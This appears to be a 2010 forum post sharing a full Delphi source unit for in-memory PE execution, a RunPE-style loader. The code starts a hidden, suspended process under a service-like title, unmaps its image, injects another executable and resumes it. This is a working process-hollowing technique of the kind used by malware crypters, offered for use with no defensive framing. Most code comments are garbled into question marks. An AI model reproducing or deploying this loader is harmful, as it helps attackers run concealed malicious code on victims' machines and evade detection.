We don't display ads so we rely on your Bitcoin donations to 1KWEk9QaiJb2NwP5YFmR24LyUBa4JyuKqZ
Post date: Sep 7, 2010 11:22:31 PM
Complete Delphi port of the original memory execution:
http://www.security.org.sg/code/loadexe.html
Unfortunately, this code only works perfectly on XP or Vista systems. For Windows 7 compatibility, use this memory execution unit:
uExecFromMem by steve10120 - fixed for Win7x64 by testest
unit U_PEMemExec;
interface
uses windows;
function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal;
implementation
//{$R ExeShell.res} // ?????? (98???)
type
TImageSectionHeaders = array [0..0] of TImageSectionHeader;
PImageSectionHeaders = ^TImageSectionHeaders;
{ ???????? }
function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal;
begin
result := (Origin + Alignment - 1) div Alignment * Alignment;
end;
{ ????pe???????????,????? OptionalHeader.SizeOfImage?????????????????exe?????0 }
function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders;
peSecH: PImageSectionHeaders): Cardinal;
var
i: Integer;
begin
{??pe????}
result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment);
{????????}
for i := 0 to peH.FileHeader.NumberOfSections - 1 do
if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // ??????
begin
result := 0;
exit;
end
else if peSecH[i].VirtualAddress <> 0 then //??????????
if peSecH[i].Misc.VirtualSize <> 0 then
result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)
else
result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)
else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then
result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment)
else
result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment);
end;
{ ??pe????????? }
function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders;
var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean;
var
SrcMz: PImageDosHeader; // DOS?
SrcPeH: PImageNtHeaders; // PE?
SrcPeSecH: PImageSectionHeaders; // ??
i: Integer;
l: Cardinal;
Pt: Pointer;
begin
result := false;
SrcMz := @Buf;
if Len < sizeof(TImageDosHeader) then exit;
if SrcMz.e_magic <> IMAGE_DOS_SIGNATURE then exit;
if Len < SrcMz._lfanew+Sizeof(TImageNtHeaders) then exit;
SrcPeH := pointer(Integer(SrcMz)+SrcMz._lfanew);
if (SrcPeH.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL <> 0) or
(SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0)
or (SrcPeH.FileHeader.SizeOfOptionalHeader <> SizeOf(TImageOptionalHeader)) then exit;
SrcPeSecH := Pointer(Integer(SrcPeH)+SizeOf(TImageNtHeaders));
ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH);
if ImageSize = 0 then
exit;
Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // ????
if Mem <> nil then
begin
// ???????PE????
l := SrcPeH.OptionalHeader.SizeOfHeaders;
for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do
if (SrcPeSecH[i].PointerToRawData <> 0) and (SrcPeSecH[i].PointerToRawData < l) then
l := SrcPeSecH[i].PointerToRawData;
Move(SrcMz^, Mem^, l);
PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew);
PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders));
Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment));
for i := 0 to PeH.FileHeader.NumberOfSections - 1 do
begin
// ???????????
if PeSecH[i].VirtualAddress <> 0 then
Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress);
if PeSecH[i].SizeOfRawData <> 0 then
begin
// ???????
Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData);
if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then
pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment))
else
pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment));
// pt ??????????
end
else
pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment));
end;
result := True;
end;
end;
type
TVirtualAllocEx = function (hProcess: THandle; lpAddress: Pointer;
dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
var
MyVirtualAllocEx: TVirtualAllocEx = nil;
function IsNT: Boolean;
begin
result := Assigned(MyVirtualAllocEx);
end;
{ ????????? }
function PrepareShellExe(CmdParam: string; BaseAddr, ImageSize: Cardinal): string;
var
r, h, sz: Cardinal;
p: Pointer;
fid, l: Integer;
buf: Pointer;
peH: PImageNtHeaders;
peSecH: PImageSectionHeaders;
begin
if IsNT then
begin
//{ NT ????????????????? }
//Result := ParamStr(0)+CmdParam;
Result := 'KeydoneIO.exe'+' '+CmdParam;
end else
begin
// ??98?????????????????,????????????????????????????
// ???????????????????????????,???????PE????????????????????????
r := FindResource(HInstance, 'SHELL_EXE', RT_RCDATA);
h := LoadResource(HInstance, r);
p := LockResource(h);
l := SizeOfResource(HInstance, r);
GetMem(Buf, l);
Move(p^, Buf^, l); // ????
FreeResource(h);
peH := Pointer(Integer(Buf) + PImageDosHeader(Buf)._lfanew);
peSecH := Pointer(Integer(peH) + sizeof(TImageNtHeaders));
peH.OptionalHeader.ImageBase := BaseAddr; // ??PE???????
if peH.OptionalHeader.SizeOfImage < ImageSize then // ??????,??????????????
begin
sz := Imagesize - peH.OptionalHeader.SizeOfImage;
Inc(peH.OptionalHeader.SizeOfImage, sz); // ????????
Inc(peSecH[peH.FileHeader.NumberOfSections-1].Misc.VirtualSize, sz); // ???????????
end;
// ?????????, ???????????
// ???? uses SysUtils (?? use ??????80K??), ????,?????????11???,????.dat, .da0~.da9
result := ParamStr(0);
result := copy(result, 1, length(result) - 4) + '.dat';
r := 0;
while r < 10 do
begin
fid := CreateFile(pchar(result), GENERIC_READ or GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if fid < 0 then
begin
result := copy(result, 1, length(result)-3)+'da'+Char(r+Byte('0'));
inc(r);
end
else begin
//SetFilePointer(fid, Imagesize, nil, 0);
//SetEndOfFile(fid);
//SetFilePointer(fid, 0, nil, 0);
WriteFile(fid, Buf^, l, h, nil); // ????
CloseHandle(fid);
break;
end;
end;
result := '"' + result + '"' + CmdParam; // ?????
FreeMem(Buf);
end;
end;
{ ?????????? }
function HasRelocationTable(peH: PImageNtHeaders): Boolean;
begin
result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress <> 0)
and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size <> 0);
end;
//??
type
PImageBaseRelocation= ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: cardinal;
SizeOfBlock: cardinal;
end;
{ ???PE????? }
procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer);
var
Delta: Cardinal;
p: PImageBaseRelocation;
pw: PWord;
i: Integer;
begin
Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase;
p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (p.VirtualAddress + p.SizeOfBlock <> 0) do
begin
pw := pointer(Integer(p) + Sizeof(p^));
for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do
begin
if pw^ and $F000 = $3000 then
Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta);
inc(pw);
end;
p := Pointer(pw);
end;
end;
type
TZwUnmapViewOfSection = function (Handle, BaseAdr: Cardinal): Cardinal; stdcall;
{ ????????? }
function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean;
var
M: HModule;
ZwUnmapViewOfSection: TZwUnmapViewOfSection;
begin
result := False;
m := LoadLibrary('ntdll.dll');
if m <> 0 then
begin
ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection');
if assigned(ZwUnmapViewOfSection) then
result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0);
FreeLibrary(m);
end;
end;
{ ?????????????????????? }
function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean;
var
si: TStartUpInfo;
pi: TProcessInformation;
Old: Cardinal;
MemInfo: TMemoryBasicInformation;
p: Pointer;
begin
FillChar(si, Sizeof(si), 0);
FillChar(pi, SizeOf(pi), 0);
si.cb := sizeof(si);
si.dwFlags:=STARTF_USESHOWWINDOW;
si.lpTitle:=PChar('Keydone IO Service');
{$IFNDEF DEBUGMODE}
si.wShowWindow:=SW_HIDE;
{$ELSE}
si.wShowWindow:=SW_MINIMIZE;
{$ENDIF}
result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // ?????????
if result then
begin
ProcHnd := pi.hProcess;
ThrdHnd := pi.hThread;
ProcId := pi.dwProcessId;
{ ??????????,[ctx.Ebx+8]???????????????,ctx.Eax???????????? }
ctx.ContextFlags := CONTEXT_FULL;
GetThreadContext(ThrdHnd, ctx);
ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx+8), @BaseAddr, SizeOf(Cardinal), Old); // ??????
p := Pointer(BaseAddr);
{ ??????????? }
while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) <> 0 do
begin
if MemInfo.State = MEM_FREE then
break;
p := Pointer(Cardinal(p) + MemInfo.RegionSize);
end;
ImageSize := Cardinal(p) - Cardinal(BaseAddr);
end;
end;
{ ??????????????????? }
function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders;
Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal;
var
s: string;
Addr, Size: Cardinal;
ctx: TContext;
Old: Cardinal;
p: Pointer;
Thrd: Cardinal;
begin
result := INVALID_HANDLE_VALUE;
s := PrepareShellExe(CmdParam, peH.OptionalHeader.ImageBase, ImageSize);
if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then
begin
p := nil;
if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // ????????????????????
begin
p := Pointer(Addr);
VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old);
end
else if IsNT then // 98 ???
begin
if UnloadShell(result, Addr) then // ??????????
// ??????????????????
p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (p = nil) and hasRelocationTable(peH) then // ?????????????????
begin
// ?????????
p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if p <> nil then
DoRelocation(peH, Ptr, p); // ???
end;
end;
if p <> nil then
begin
WriteProcessMemory(Result, Pointer(ctx.Ebx+8), @p, Sizeof(DWORD), Old); // ??????????????
peH.OptionalHeader.ImageBase := Cardinal(p);
if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // ??PE ???????
begin
ctx.ContextFlags := CONTEXT_FULL;
if Cardinal(p) = Addr then
ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // ????????????
else
ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(Thrd, ctx); // ??????
ResumeThread(Thrd); // ??
CloseHandle(Thrd);
end
else begin // ????,??????
TerminateProcess(Result, 0);
CloseHandle(Thrd);
CloseHandle(Result);
Result := INVALID_HANDLE_VALUE;
end;
end
else begin // ????,??????
TerminateProcess(Result, 0);
CloseHandle(Thrd);
CloseHandle(Result);
Result := INVALID_HANDLE_VALUE;
end;
end;
end;
function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal;
var
peH: PImageNtHeaders;
peSecH: PImageSectionHeaders;
Ptr: Pointer;
peSz: Cardinal;
begin
result := INVALID_HANDLE_VALUE;
if AlignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then
begin
result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId);
VirtualFree(Ptr, peSz, MEM_DECOMMIT);
//VirtualFree(Ptr, 0, MEM_RELEASE);
end;
end;
initialization
MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx');
end.